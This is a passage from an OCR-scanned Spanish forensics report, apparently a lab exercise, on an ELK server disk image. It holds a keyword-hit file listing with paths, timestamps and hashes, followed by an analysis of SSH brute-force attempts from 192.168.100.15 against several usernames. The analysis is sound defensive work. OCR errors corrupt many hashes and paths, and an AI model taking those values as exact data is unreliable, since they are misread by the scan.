ECT",12584, ALLOCATED,ALLOCATED,UNKN
OWN,"2515E88EB3CD369964FB4D4BEADCB
4D8","3D59D6C2D5AA41D974946D4E9566CA
E8A32773100BB3171016AF08A9A26D3C26",
TEXT/X-PYTHON,PY
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DPKG-DISTADDFILE.1,"18.5). THE
CURRENTLY A<ACCEPTEDA« VALUES ARE:
\FBAUTO\FR","/IMG_ELK_VAR_PARTICION.D
D/USR/SHARE/MAN/IT/MAN1/DPKG-
DISTADDFILE.1.GZ/DPKG-
DISTADDFILE.1","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00
00:00:00",3380,ALLOCATED,ALLOCATED,UN
KNOWN,"F042CAC0946C66501392DB32C122
6374","0F58C88C345E88B7A1AB39E6CBB4A
7BE224333003F704B62D4563BF1C5869EA2",
TEXT/TROFF 1
_STREAM_WRITABLE.JS,"THAT 'NULL" IS
NEVER A«<ACCEPTEDA« /| AND
UNDEFINED/NON-
STRING","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/KIBANA/NODE_MODULES/DUPLE
XER2/NODE_MODULES/READABLE-
STREAM/LIB/_STREAM_WRITABLE.JS","202
5-11-07 08:38:03 ECT","2025-11-28 18:55:03
ECT","2025-12-01 07:40:35 ECT","2025-11-28
18:54:40
ECT",20335,ALLOCATED,ALLOCATED,UNKN
OWN,"09B0D94AF81D8A886ESBDDA4E1D72
AFE","E6359AC652ED97F5F328C586C7A6B8
F163782A9CA13DA476E609A981C75E0469",T
EXT/JAVASCRIPT,JS

CDC.H,"SPECIFIES ACM NOTIFICATIONS,
A«ACCEPTEDA« BY RNDIS

* RNDIS
ALSO","/IMG_ELK_VAR_PARTICION.DD/USR
/INCLUDE/LINUX/USB/CDC.H","2025-10-10
18:38:46 ECT","2025-11-28 18:20:07
ECT","2025-11-28 18:20:05 ECT","2025-11-28
18:20:07
ECT",13475,ALLOCATED,ALLOCATED,UNKN
OWN,"DOF2C6A5E428707AA23772A561BA95
F9","922BD199D3D8163BE1027D3B7A8AB67
9FD8A7FBA98F1F67F4F597D5E36ADCES1",T
EXT/X-CHDR,H

SG_WRITE_VERIFY.8,"AND 3 (INCLUSIVE)
ARE A«ACCEPTEDA«. THE DEFAULT IS
VALUE","/IMG_ELK_VAR_PARTICION.DD/US
R/ISHARE/MAN/MANS/SG_WRITE_VERIFY.8.G
Z/SG_WRITE_VERIFY.8","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00
00:00:00",9386,ALLOCATED,ALLOCATED,UN
KNOWN,"A8C1BBFFE58D1D18BFEC08D3F1
D8AC41","0ADC7366E07492747A043E02DC7
1321903873ABD29FE31E3A34424F054A78569
" TEXT/PLAIN,8

CH9.H,"PTOR, OR
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* (RARELY) A<ACCEPTEDA« BY
SET_DESCRIPTOR.

*"/IMG_ELK_VAR_PARTICION.DD/USR/INC
LUDE/LINUX/USB/CH9.H","2025-10-10
18:38:46 ECT","2025-11-28 18:20:07
ECT","2025-11-28 18:20:05 ECT","2025-11-28
18:20:07
ECT",39930,ALLOCATED,ALLOCATED,UNKN
OWN,"A7FC85D0AB2751EC11E5BB7F6F4DE
974","5CF14885693F7D64617864E1396D1929
631441CC382FFFCEB647DA1A40B6E1E3",TE
XT/X-CHDR,H

C_CPP.PY,"ADDITIONAL OPTIONS
A«ACCEPTEDA«:

*STDLIBHIGHLIGHTING™,"/IMG_ELK_VAR_P
ARTICION.DD/USR/LIB/PYTHON3/DIST-
PACKAGES/PYGMENTS/LEXERS/C_CPP.PY"
,"2024-02-02 08:26:20 ECT","2025-11-28
18:17:39 ECT","2025-11-28 18:17:39
ECT","2025-11-28 18:17:39
ECT",17946,ALLOCATED,ALLOCATED,UNKN
OWN,"1A54F4799ADB674A9327 ADIF5BA5E
BA9","D7B3BBB597E70C842A8E71446A31D5
72AA167F70A93FC2E85A5076C7C6AFC061",
TEXT/X-PYTHON,PY
WAITER.CPYTHON-312.PYC,"EXCEEDED.
PREVIOUSLY A«<ACCEPTEDA« STATE:
%SR8

POPR,

LOGGER","/IMG_ELK_VAR_PARTICION.DD/U
SR/LIB/PYTHON3/DIST-
PACKAGES/BOTOCORE/__PYCACHE_ /WAI
TER.CPYTHON-312.PYC","2025-08-05
12:14:02 ECT","2025-11-28 18:17:35
ECT","2025-11-28 18:17:35 ECT","2025-11-28
18:17:35
ECT",14580,ALLOCATED,ALLOCATED,UNKN
OWN,"96E25903A3BDOF5E0738D040DD8815
D5","95ADDAC46B3AE47EEC18EA070443A5
F71FC40FB79286D8C60164A4EB4016CB30",
APPLICATION/OCTET-STREAM,PYC
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XMLPARSER.JS,"NEW ERROR(""XML DATA
IS ACACCEPTEDA« IN STRING OR
BYTES[]","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/KIBANA/NODE_MODULES/FAST-
XML-
PARSER/SRC/XMLPARSER/XMLPARSER.JS"
,"2025-11-07 08:37:48 ECT","2025-11-28
18:55:04 ECT","2025-12-01 07:41:35
ECT","2025-11-28 18:55:02
ECT",2120,ALLOCATED,ALLOCATED,UNKN
OWN,"2D8E32340F186E976069A34F8FFEE32
B","EC56754198D84D73CCEFF5247566FB861
E9D1939185FD96EB83A115C9E67F886", TEX
T/JAVASCRIPT,JS
PASCAL.PY,"ADDITIONAL OPTIONS
A«ACCEPTEDA«:

"TURBOPASCAL ","/IMG_ELK_VAR_PARTICI
ON.DD/USR/LIB/PYTHON3/DIST-
PACKAGES/PYGMENTS/LEXERS/PASCAL.P
Y","2024-02-02 08:26:20 ECT","2025-11-28
18:17:39 ECT","2025-11-28 18:17:39
ECT","2025-11-28 18:17:39
ECT",30880,ALLOCATED,ALLOCATED,UNKN
OWN,"7F2B4810C8048DFDAB3B7B50F19457
D9","107662FE687857B2EE197B5C6D3427AE
B7EA0C35DC1B25700EF26637C5D1729B",TE
XT/X-PYTHON,PY

LVCHANGE.8,"SPECIFIC TYPE, WHERE THE

A«ACCEPTEDA« LV TYPES ARE
LISTED.","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/MAN/MAN8/LVCHANGE.8.GZ/LVC
HANGE.8","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",30971,ALLOCATED,ALLOCATED,U
NKNOWN,"3134E5A49F61053358C6DF128BC
8DFBD","5373BADS5F95442CB853D62907ACE
E297F8C59C4085B6163D662BAD9BD5F72C5
3",TEXT/PLAIN,8

ENDPOINTS.PY,"THE CERTIFICATE) ARE
A«ACCEPTEDA« AND USED TO
CONSTRUCT","/IMG_ELK_VAR_PARTICION.
DD/USR/LIB/PYTHON3/DIST-
PACKAGES/TWISTED/INTERNET/ENDPOINT
S.PY","2025-08-05 12:14:03 ECT","2025-11-28
18:17:40 ECT","2025-11-28 18:17:40
ECT","2025-11-28 18:17:40

ECT",78428, ALLOCATED,ALLOCATED,UNKN
OWN,"276437EFBE943CA6C63A44C147F6C9
FO","C30A317D3137AF0C736C121EB7B008C
EA75B76F4BC0C95D840B135359484029D", T
EXT/X-PYTHON,PY

JOBSTATEREASON.JAVA,"WHEN THE JOB
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*1S Ac<ACCEPTEDA«, OR
SUBSEQUENTLY
WHILE","/IMG_ELK_VAR_PARTICION.DD/US
R/SHARE/LOGSTASH/JDKI/LIB/SRC.ZIP/JAVA
.DESKTOP/JAVAX/PRINT/ATTRIBUTE/STAND
ARD/JOBSTATEREASON.JAVA","2025-10-21
00:00:00 ECT","0000-00-00 00:00:00","0000-
00-00 00:00:00","0000-00-00
00:00:00",19987,ALLOCATED,ALLOCATED,U
NKNOWN,"BD8E2A09CBE324969F1A5D1193
3AD1FA","1BE636D2ADCD94E02F953F4DEB
F018B577DA40A192D78630C972B7ED08651E
80", TEXT/X-JAVA-SOURCE,JAVA

LEXGROG.1,"THE ABOVE SHOULD BE
A«ACCEPTEDA«.

.SH E—¢E€£E ...0)®

IF
I'PO4A'HIDE™,"/IMG_ELK_VAR_PARTICION.
DD/USR/SHARE/MAN/JA/MAN1/LEXGROG.1.
GZ/LEXGROG.1","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00
00:00:00",6553,ALLOCATED,ALLOCATED,UN
KNOWN,"08F31897DC67D0OE32B8AC06935CA
D040","2D19FB410602C07F1ABBF439303DC
20D06DE28F7A09EF00DC99AF4853DB28D75
" TEXT/PLAIN,1
METHODGENERATOR.JAVA,"CHUNKS
WHICH HAVE BEEN A«<ACCEPTEDA« AS
CANDIDATES
CHUNKS","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/LOGSTASH/JDK/LIB/SRC.ZIP/JAV
A.XML/COM/SUN/ORG/APACHE/XALAN/INTE
RNAL/XSLTC/COMPILER/UTIL/METHODGEN
ERATOR.JAVA","2025-10-21 00:00:00
ECT","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00
00:00:00",95062,ALLOCATED,ALLOCATED,U
NKNOWN,"622BC248EDOF040101B20EE120E
F3BC1","CBD3C9EF6333C84BD539D2F00E87
1D3827F193AE457EE14B6AA7F648C12E4C94
" TEXT/X-JAVA-SOURCE,JAVA
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FONT-FORMATS-4.HTML,"MULTIPLE OF 256
PLUS 40 ARE A«<ACCEPTEDA« AS
POSSIBLE BINARY
FONT","/IMG_ELK_VAR_PARTICION.DD/USR
ISHARE/DOC/KBD/FONT-FORMATS/FONT-
FORMATS-4.HTML","2025-08-05 12:14:04
ECT","2025-11-28 18:17:54 ECT","2025-11-28
18:17:54 ECT","2025-11-28 18:17:54
ECT",2198,ALLOCATED,ALLOCATED,UNKN
OWN,"F463620EDA46EA23B741D74D00B3CD
2D","D843B8111C23F76B4B8F3ADB4C7AFB2
5CB66B004D9B7BD6F05A45A30041FC73C",T
EXT/HTML,HTML

IUCODE_TOOL.8,"\FIMODE\FP ARGUMENT
(A«<ACCEPTEDA« ONLY BY THE LONG
VERSION","/IMG_ELK_VAR_PARTICION.DD/
USR/SHARE/MAN/MANS/IUCODE_TOOL.8.GZ
/IUCODE_TOOL.8","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00
00:00:00",20671,ALLOCATED,ALLOCATED,U
NKNOWN,"D010F2B0E63E15554E7B79FC62E
5885A","18E0OBC9ADIE487868D290716D36B2
32799C565DFC5B19B407AC1DD4A04FCEB6
B",TEXT/TROFF,8

CMP.H,"::= INTEGER {

* A«ACCEPTEDA«
(0),","/IMG_ELK_VAR_PARTICION.DD/USR/S
HARE/KIBANA/NODE/GLIBC-
217/INCLUDE/NODE/OPENSSL/ARCHS/VC-
WIN32/ASM_AVX2/INCLUDE/OPENSSL/CMP.
H","2025-11-07 08:39:12 ECT","2025-11-28
18:55:03 ECT","2025-11-28 18:54:38
ECT","2025-11-28 18:54:39
ECT",41123,ALLOCATED,ALLOCATED,UNKN
OWN,"0004A88D9AC2F2897FE756B3780DF38
F","28ABBCA1B6798A226A323C5B23DD884
D3FE739F5D9C8B0F1329CC665355D6317", T
EXT/X-CHDR,H
INTERFACES.PY,"TO HANDLE
CONNECTIONS A«ACCEPTEDA« VIA THIS
SOCKET.","/IMG_ELK_VAR_PARTICION.DD/
USR/LIB/PYTHON3/DIST-
PACKAGES/TWISTED/INTERNET/INTERFACE
S.PY","2025-08-05 12:14:03 ECT","2025-11-28
18:17:40 ECT","2025-11-28 18:22:26
ECT","2025-11-28 18:17:40
ECT",98187,ALLOCATED,ALLOCATED,UNKN
OWN,"8B6D7FFOE8293ECA458043287FC8461
0","5EBCB9B7103EFFE780EBBC7F69F09DE5
E1214AEA119BCD95A3BA1481B232580A", TE
XT/X-PYTHON,PY
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PARSEEXCEPTION.JAVA,"THE MESSAGE
SUPPLIER IS AcACCEPTEDA« NOT TO
CONTROL WHEN
TO","/IMG_ELK_VAR_PARTICION.DD/USR/S
HARE/LOGSTASH/JDK/LIB/SRC.ZIP/JDK.JAV
ADOC/JDK/JAVADOC/INTERNAL/DOCLETS/T
OOLKIT/TAGLETS/SNIPPET/PARSEEXCEPTI
ON.JAVA","2025-10-21 00:00:00 ECT","0000-
00-00 00:00:00","0000-00-00 00:00:00","0000-
00-00
00:00:00",2054,ALLOCATED,ALLOCATED,UN
KNOWN,"22C807C6DBC94FE2326B6842BF06
DFEB","7BD0DA1043E9F23888FD9F9E3CBD
E3720B8C2C8AF93357E135378CC29ADC1CC
8", TEXT/X-JAVA-SOURCE,JAVA

DPKG-DISTADDFILE.1,"18.5). THE
CURRENTLY A<ACCEPTEDA« VALUES ARE:
\FBAUTO\FR","/IMG_ELK_VAR_PARTICION.D
D/USR/SHARE/MAN/JA/MAN1/DPKG-
DISTADDFILE.1.GZ/DPKG-
DISTADDFILE.1","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00
00:00:00",3941,ALLOCATED,ALLOCATED,UN
KNOWN,"85B6364F6706F63536E4B6355AA80
68C","B7CF8FCD8E2A1F67B7421EAFDD636
D08D7775C62AE1887583D5F5C193628F3B2",
TEXT/TROFF,1
X509CRLSELECTOR.JAVA,"THE MINIMUM
CRL NUMBER A«ACCEPTEDA« (OR {@CODE
NULL})","IMG_ELK_VAR_PARTICION.DD/US
R/SHARE/LOGSTASH/JDKI/LIB/SRC.ZIP/JAVA
.BASE/JAVA/SECURITY/CERT/X509CRLSELE
CTOR.JAVA","2025-10-21 00:00:00
ECT","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00

00:00:00",28097, ALLOCATED,ALLOCATED,U
NKNOWN,"5DE22075CA20BE9DF21D4B5B42
8C1450","98BC3350E7115FBC5E176D1427F2
OEDEAE998AC03A01100B1868ED708C38358
0", TEXT/X-JAVA-SOURCE,JAVA

DIRMNGR.8,"AND THEM LOCAL
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CLOCK IS Ac<ACCEPTEDA«. DEFAULT IS
600
(10","IMG_ELK_VAR_PARTICION.DD/USR/S
HARE/MAN/MANS/DIRMNGR.8.GZ/DIRMNGR.
8","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",29091,ALLOCATED,ALLOCATED,U
NKNOWN,"877CD4151D1CDC179E7382D7B7
A99383","B271ED34F0AB2D145252FAC71BB
D26E07CBCBD3A2338BF5E09FBEF33270D57
FB", TEXT/TROFF,8

X509CERTSELECTOR.JAVA,"*
CERTIFICATES ARE A<ACCEPTEDA. IF THE
VALUEIS -
1,","/IMG_ELK_VAR_PARTICION.DD/USR/SH
ARE/LOGSTASH/JDKI/LIB/SRC.ZIP/JAVA.BAS
E/JAVA/SECURITY/CERT/X509CERTSELECT
OR.JAVA","2025-10-21 00:00:00 ECT","0000-
00-00 00:00:00","0000-00-00 00:00:00","0000-
00-00
00:00:00",104021,ALLOCATED,ALLOCATED,
UNKNOWN,"F54C13F69041E6789F549D062B
0DOF49","0B82BA5C54949C9090BE137F6131
FOASDF6EFE897AC87CB5608F5C560C89121
0", TEXT/X-JAVA-SOURCE,JAVA
SG_RESET.8,"\FI\-\\-NO-ESCALATE\FR IS
ALSO A«ACCEPTEDA.

TP

\FB\-\-NO\-
ESCALATE\FR","/IMG_ELK_VAR_PARTICION
.DD/USR/SHARE/MAN/MAN8/SG_RESET.8.GZ
ISG_RESET.8","0000-00-00 00:00:00","0000-
00-00 00:00:00","0000-00-00 00:00:00","0000-
00-00
00:00:00",6395,ALLOCATED,ALLOCATED,UN
KNOWN,"809893C81C14DB71DB61B7EC83C
FO9E1","D348F1259F53E3E158D166F8BFOF5
518C5BF3AAABADABAAGA9E73E2BB3095F9
2", TEXT/PLAIN,8

LVRESIZE.8,"SPECIFIC TYPE, WHERE THE

A«ACCEPTEDA« LV TYPES ARE
LISTED.","/IMG_ELK_VAR_PARTICION.DD/U
SR/SHARE/MAN/MANBS/LVRESIZE.8.GZ/LVRE
SIZE.8","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",17667 , ALLOCATED,ALLOCATED,U
NKNOWN,"62C4591DEA568D50C92ECE8964
B4BC53","F1AADBOE9C492CBEEBBFDEFB0
72A0E0A57992C4BD3B72912DFDEE466715B
920D", TEXT/PLAIN,8

NUMBEROFDOCUMENTS.JAVA,"DOCS THE
PRINTER HAS A«<ACCEPTEDA« FOR THIS
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*JOB,
REGARDLESS","/IMG_ELK_VAR_PARTICION
.DD/USR/SHARE/LOGSTASH/JDKI/LIB/SRC.ZI
P/JAVA.DESKTOP/JAVAX/PRINT/ATTRIBUTE
ISTANDARD/NUMBEROFDOCUMENTS.JAVA
","2025-10-21 00:00:00 ECT","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",4052,ALLOCATED,ALLOCATED,UN
KNOWN,"7D49CC794198C4931B6A8981144E
8205","13CE23DF2120AA6ABCAOB6FCB0549
3279C5CF269EDF4402EA1C9E6EEF8D3ES8F9
", TEXT/X-JAVA-SOURCE,JAVA

PHP.PY,"ADDITIONAL OPTIONS
A«ACCEPTEDA«:
"STARTINLINE’

A€ A€ A€ ","IMG_ELK_VAR_PARTICION.DD/
USR/LIB/PYTHON3/DIST-
PACKAGES/PYGMENTS/LEXERS/PHP.PY","2
024-02-02 08:26:20 ECT","2025-11-28 18:17:39
ECT","2025-11-28 18:17:39 ECT","2025-11-28
18:17:39
ECT",13040,ALLOCATED,ALLOCATED,UNKN
OWN,"6275B0EE3071385EF2C2E10D5BA497
27","6F8B155994CCAB4B7618C95A166CD85
899DAF56B83405226FAF76A5E46FCF71A",T
EXT/X-PYTHON,PY

MANPATH.5,""").

\FBSECTIONS\FP IS AcACCEPTEDA« AS AN
ALTERNATIVE
NAME","/IMG_ELK_VAR_PARTICION.DD/USR
ISHARE/MAN/JA/MAN5/MANPATH.5.GZ/MAN
PATH.5","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",7604,ALLOCATED,ALLOCATED,UN
KNOWN,"9EB542B5E2213979E5AC3763F48B
71E9","C45EFA338EE4AD190F68419211688D
016FF560FBDC89E81D9A1C102EDOEFDSE4",
TEXT/TROFF,5
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SERVICE-2.JSON,"THE LIST OF OPEN AND
A«ACCEPTEDA« BEHAVIOR GRAPH
INVITATIONS","/IMG_ELK_VAR_PARTICION.
DD/USR/LIB/PYTHON3/DIST-
PACKAGES/BOTOCORE/DATA/DETECTIVE/2
018-10-26/SERVICE-2.JSON","2025-08-05
12:14:02 ECT","2025-11-28 18:17:36
ECT","2025-11-28 18:17:36 ECT","2025-11-28
18:17:36

ECT",93497, ALLOCATED,ALLOCATED,UNKN
OWN,"5082F7DFF52C92CBE2B466EAD75243
DC","A319A158A7AD308AADDA61BF07495B
AE1CCC07D7290756BFA7C67946DD032ED7"
,TEXT/PLAIN,JSON
SCRIPTING.PY,"ADDITIONAL OPTIONS
A«ACCEPTEDA«:

"FUNC_NAME_HIGHLIGHTING™","/IMG_ELK_
VAR_PARTICION.DD/USR/LIB/PYTHONS3/DIST

PACKAGES/PYGMENTS/LEXERS/SCRIPTING
.PY","2024-02-02 08:26:20 ECT","2025-11-28
18:17:39 ECT","2025-11-28 18:17:39
ECT","2025-11-28 18:17:39
ECT",70014,ALLOCATED,ALLOCATED,UNKN
OWN,"F421583DD1DE27BF56C698DEGEC21F
7B","1245CACD62EOFA3A6C57CADEA76616
E9FOEC083CFE7777D8D6ABF541513B308F",
TEXT/X-PYTHON,PY

TCP.PY,"WHEN A CONNECTION IS
A«ACCEPTEDA«, THIS WILL CALL A
FACTORY'S","/IMG_ELK_VAR_PARTICION.D
D/USR/LIB/PYTHON3/DIST-
PACKAGES/TWISTED/INTERNET/TCP.PY","2
025-08-05 12:14:03 ECT","2025-11-28 18:17:40
ECT","2025-11-28 18:22:26 ECT","2025-11-28
18:17:40
ECT",55269,ALLOCATED,ALLOCATED,UNKN
OWN,"DAADC92B76D3C71C598824AAF04C9
6DC","F96FDD9B6C5F2727762E728123A4944
60E777841784D4850A267412208B13BE1",TE
XT/X-PYTHON,PY

CLIENT.RB,"LIST OF THE
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# A«ACCEPTEDA« MODES AND THE
CONFIGURATION","/IMG_ELK_VAR_PARTICI
ON.DD/USR/SHARE/LOGSTASH/VENDOR/BU
NDLE/JRUBY/3.1.0/GEMS/AWS-SDK-CORE-
3.226.3/LIB/AWS-SDK-
SSO/CLIENT.RB","2025-11-04 13:09:44
ECT","2025-11-28 21:59:32 ECT","2025-11-28
21:59:24 ECT","2025-11-28 21:59:25
ECT",32190,ALLOCATED,ALLOCATED,UNKN
OWN,"36AAD5E3998144532C09878A95D92A7
7","F5BBDBAAC8146EB423C7CCF37EBBAF
B5708D8BCA624A3AB47B6028F7D3DAF082"
,TEXT/X-RUBY,RB

TIPC_CONFIG.H.DPKG-NEW,"ISSUED BY
ANY PROCESS.

* AcACCEPTEDA« BY OWN NODE, OR BY
REMOTE","/IMG_ELK_VAR_PARTICION.DD/U
SR/INCLUDE/LINUX/TIPC_CONFIG.H.DPKG-
NEW","2025-10-10 18:38:46 ECT","2025-11-28
18:20:07 ECT","2025-11-28 18:20:05
ECT","2025-11-28 18:20:07
ECT",14915,UNALLOCATED,ALLOCATED,UN
KNOWN,"CE64970E74DA3B78B11F97A3C7A
A5E84","010BDA2F00ED4E9E26CA567B0306
CDBF5BABDDB1855C2AA8CAF1D2841A7702
BB",TEXT/PLAIN,DPKG-NEW

X509_VFY.H,"TRUST IF NO EXPLICIT
A«ACCEPTEDA« TRUST EKUS */

#
DEFINE","/IMG_ELK_VAR_PARTICION.DD/US
R/SHARE/KIBANA/NODE/GLIBC-
217/INCLUDE/NODE/OPENSSL/ARCHS/VC-
WIN32/ASM_AVX2/INCLUDE/OPENSSL/X509_
VFY.H","2025-11-07 08:39:12 ECT","2025-11-
28 18:55:03 ECT","2025-11-28 18:54:38
ECT","2025-11-28 18:54:39

ECT",52027, ALLOCATED,ALLOCATED,UNKN
OWN,"03954943980620D1194BEB68249B9EC
7","00ECA88DA5CAC83641BA85391C735125
2411AF33B9F9BF12A31CDA3D10F5C2F1",TE
XT/X-CHDR,H
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KCONFIG,"SECURITY MODELS (LSMS)
A«ACCEPTEDA« BY APPARMOR,
SELINUX","/IMG_ELK_VAR_PARTICION.DD/U
SR/SRC/LINUX-HEADERS-6.8.0-
88/FS/UBIFS/KCONFIG","2024-03-10 15:38:09
ECT","2025-11-28 18:20:17 ECT","2025-11-28
18:20:05 ECT","2025-11-28 18:20:15
ECT",3328,ALLOCATED,ALLOCATED,UNKN
OWN,"70D54F8A07E2A25921D84416791E859
8","18978925EEAFCDC274BE44F0A368144F2
9CB89CF1A190815E4B8836F27B69243", TEX
T/PLAIN,

MIDISYSTEM.JAVA,"THE RESPECTIVE TYPE
IS ACACCEPTEDA«, TOO

IF
(","/IMG_ELK_VAR_PARTICION.DD/USR/SHA
RE/LOGSTASH/JDKI/LIB/SRC.ZIP/JAVA.DESK
TOP/JAVAX/SOUND/MIDI/MIDISYSTEM.JAVA
" "2025-10-21 00:00:00 ECT","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",65761,ALLOCATED,ALLOCATED,U
NKNOWN,"31B6CE07903CE172A62A00B89D
2C04D0","83BEEF97701362381BOFADFF22E5
5843B5233ECFCEE7175F5CF753FAA7F723A
A", TEXT/X-JAVA-SOURCE,JAVA

CORESIGHT-STM.H,"ENSURE THE
TRANSACTION IS Ac<ACCEPTEDA« BY THE
STM. WHILE
INVARIANT","/IMG_ELK_VAR_PARTICION.D
D/USR/INCLUDE/LINUX/CORESIGHT-
STM.H","2025-10-10 18:38:46 ECT","2025-11-
28 18:20:07 ECT","2025-11-28 18:20:05
ECT","2025-11-28 18:20:07
ECT",747,ALLOCATED,ALLOCATED,UNKNO
WN,"61DC10BB4998AD40F65EA9BSC7F8CE
CA","81CA4E16A8D91B490D824277CBDCD7
3394DC07CE77688B07ECFO0C0D86D7165A0",
TEXT/X-CHDR,H

REASONS.RB,"""CREATED"",
202 => ""A«ACCEPTEDA«"",
A€ A€ A€ (A €)AF”A?
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=>
""NON","/IMG_ELK_VAR_PARTICION.DD/US
R/SHARE/LOGSTASH/VENDOR/BUNDLE/JRU
BY/3.1.0/GEMS/HTTP-
3.3.0/LIB/HTTP/RESPONSE/STATUS/REASON
S.RB","2025-11-04 13:09:44 ECT","2025-11-28
21:59:32 ECT","2025-11-28 21:59:24
ECT","2025-11-28 21:59:28
ECT",2476,ALLOCATED,ALLOCATED,UNKN
OWN,"912C4BC21DEA3F501ABA1FA7EDFAD
FCC","2600434C4ACF5CAS5BE844C49A58635
D92890FF35EB221288104BBD5F2C4A8110",T
EXT/X-RUBY,RB

START.JAVA,"/| CHECK IF ARG IS
A«ACCEPTEDA« BY THE TOOL BEFORE
EMITTING","/IMG_ELK_VAR_PARTICION.DD/
USR/SHARE/LOGSTASH/JDKI/LIB/SRC.ZIP/JD
K.JAVADOC/JDK/JAVADOC/INTERNAL/TOOL
ISTART.JAVA","2025-10-21 00:00:00
ECT","0000-00-00 00:00:00","0000-00-00
00:00:00","0000-00-00
00:00:00",34861,ALLOCATED,ALLOCATED,U
NKNOWN,"99AAA69B8789DA99CDC7CB2821
A72570","231B93F1BES3EEOBAB101D33F971
28581498C5146091AA024B6EACC17B778149
",TEXT/X-JAVA-SOURCE,JAVA

METRICBEAT,"COMCONFIG DOES NOT
MATCH A«ACCEPTEDA«
CONFIGURATIONSCONFIGURATION","/IMG _
ELK_VAR_PARTICION.DD/HOME/ELK/ELAST
IC-AGENT-8.11.1-LINUX-
X86_64.TAR.GZ/ELASTIC-AGENT-8.11.1-
LINUX-X86_64.TAR/ELASTIC-AGENT-8.11.1-
LINUX-X86_64/DATA/ELASTIC-AGENT-
03EFO9D/COMPONENTS/METRICBEAT","2023-
11-11 08:27:08 ECT","0000-00-00
00:00:00","0000-00-00 00:00:00","0000-00-00
00:00:00",190722520,ALLOCATED,ALLOCAT
ED,UNKNOWN,"06514FFF08CB116F92F91178
A2AAE1E9","7TE1C400ESBEB7529BD23612C8
CC8DF084BCADE48F93E12CB267F4B45297B
1069",APPLICATION/X-SHAREDLIB,
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Archivo _pr_es812postings_0.tim encontramos artefactos de indicios de ataques

de fuerza bruta
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Hacemos un analisis detallado: parece ser un fragmento de logs del sistema y de

Logstash, mezclados con logs de PAM y algunos errores de red o conexion

Logs de Logstash

/var/log/logstash/logstash-plain-2025-11-30-9.10g9.9z

/var/log/logstash/logstash-plain-2025-12-01-1.10g9.9z

error: Protocol major versions differ: 2 vs. 1

Los archivos .log.gz son logs comprimidos de Logstash, probablemente rotados

diariamente o por tamafio.

El mensaje Protocol major versions differ: 2 vs. 1 indica problemas de compatibilidad

de version de protocolo, generalmente SSH o de un input/output de Logstash que intenta

comunicarse con otro servicio (por ejemplo, beats o Elasticsearch).

MaxStartups throttling

beginning MaxStartups throttling

exited MaxStartups throttling after 00:00:01, 2 connections dropped

exited MaxStartups throttling after 00:06:57, 808 connections dropped

Esto es el mensaje tipico de OpenSSH.

MaxStartups define cuantas conexiones SSH simultaneas puede aceptar el servidor

antes de empezar a rechazar nuevas conexiones.
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El log indica que durante periodos especificos muchas conexiones fueron

rechazadas:

Ej: 808 conexiones perdidas en ~7 minutos.

Esto podria indicar un ataque de fuerza bruta SSH o un trafico muy alto

legitimo.

Logs de PAM (autenticacion)

pam unix(cron:session): session opened/closed for user root

pam unix(login:session): session opened for user elk

pam unix (sshd:auth): authentication failure; rhost=192.168.100.15
user=atacanteg’

pam unix (sshd:session): session opened for user atacanteg?

pam unix (sudo:session): session opened for user root by elk

pam unix se refiere al médulo de autenticacién Unix/PAM.

Lo mas relevante aqui es que Hay fallos de autenticacion SSH desde la IP

192.168.100.15 con usuarios atacanteg7 y root

También hay sesiones validas abiertas y cerradas para usuarios elk y atacanteg?.

Uso de sudo por el usuario elk.

Esto sugiere que alguien intentd conectarse por SSH con credenciales incorrectas, y

algunas sesiones fueron creadas correctamente. Si atacanteg7 no es un usuario legitimo,

esto indica un posible intento de intrusion.
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Figura 163

Log obtenido con el usuario atacanteg7
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Archivo auth.log y pipeline.js

Podemos determinar claramente que hay muchos intentos fallidos de inicios de
sesioén utilizando el comando sudo, esto nos da indicios de posibles ataques en la

infraestructura debido a que el usuario de Ubuntu intenta logearse pero sin éxito.

Usuarios atacados

Se observa un patrén claro de prueba de multiples nombres de usuario, tanto validos
como invalidos:

Invalid users (no existen en el sistema):

atacante, grupo7, ubuntu

Usuarios validos: elk

Patron tipico: un ataque de fuerza bruta dirigido a probar usuarios comunes o

especificos del sistema.
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Tipo de fallos

En los logs aparecen mensajes repetidos como:

pam unix(sshd:auth): authentication failure; logname= uid=0 euid=0

tty=ssh ruser= rhost=192.168.100.15

Failed password for invalid user atacante from 192.168.100.15 port 59974 ssh2

Connection closed by invalid user atacante 192.168.100.15 port 59974 [preauth]

Interpretacion:

Invalid user: El usuario no existe en el sistema.

authentication failure: La contrasefia fue incorrecta.

Connection closed [preauth]: SSH cerro la conexién antes de autenticarse.

Se repite multiples veces por usuario y puerto en segundos, mostrando

automatizacion.

Patrén de ataque

Se observan caracteristicas tipicas de fuerza bruta SSH:

Alta frecuencia de intentos: multiples conexiones por usuario en cuestion de

segundos.
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Puertos cambiantes: el atacante usa diferentes puertos locales en cada intento.

143

Usuarios multiples: se prueba con usuarios comunes, invalidos y especificos (elk).

Cronologia resumida:

Tabla 2

Cronologia resumida

USUARIO INTENTOS ESTADO COMENTARIO
ATACANTE >10 Fallo Usuario no existe
ELK 8-10 Fallo Usuario valido,
contrasefa incorrecta
GRUPO7 6-8 Fallo Usuario no existe
UBUNTU 6-8 Fallo Usuario no existe

El ataque comienza alrededor de 11:28:57 y continua hasta 11:30:11.

Cada usuario recibe multiples intentos en cuestion de segundos.

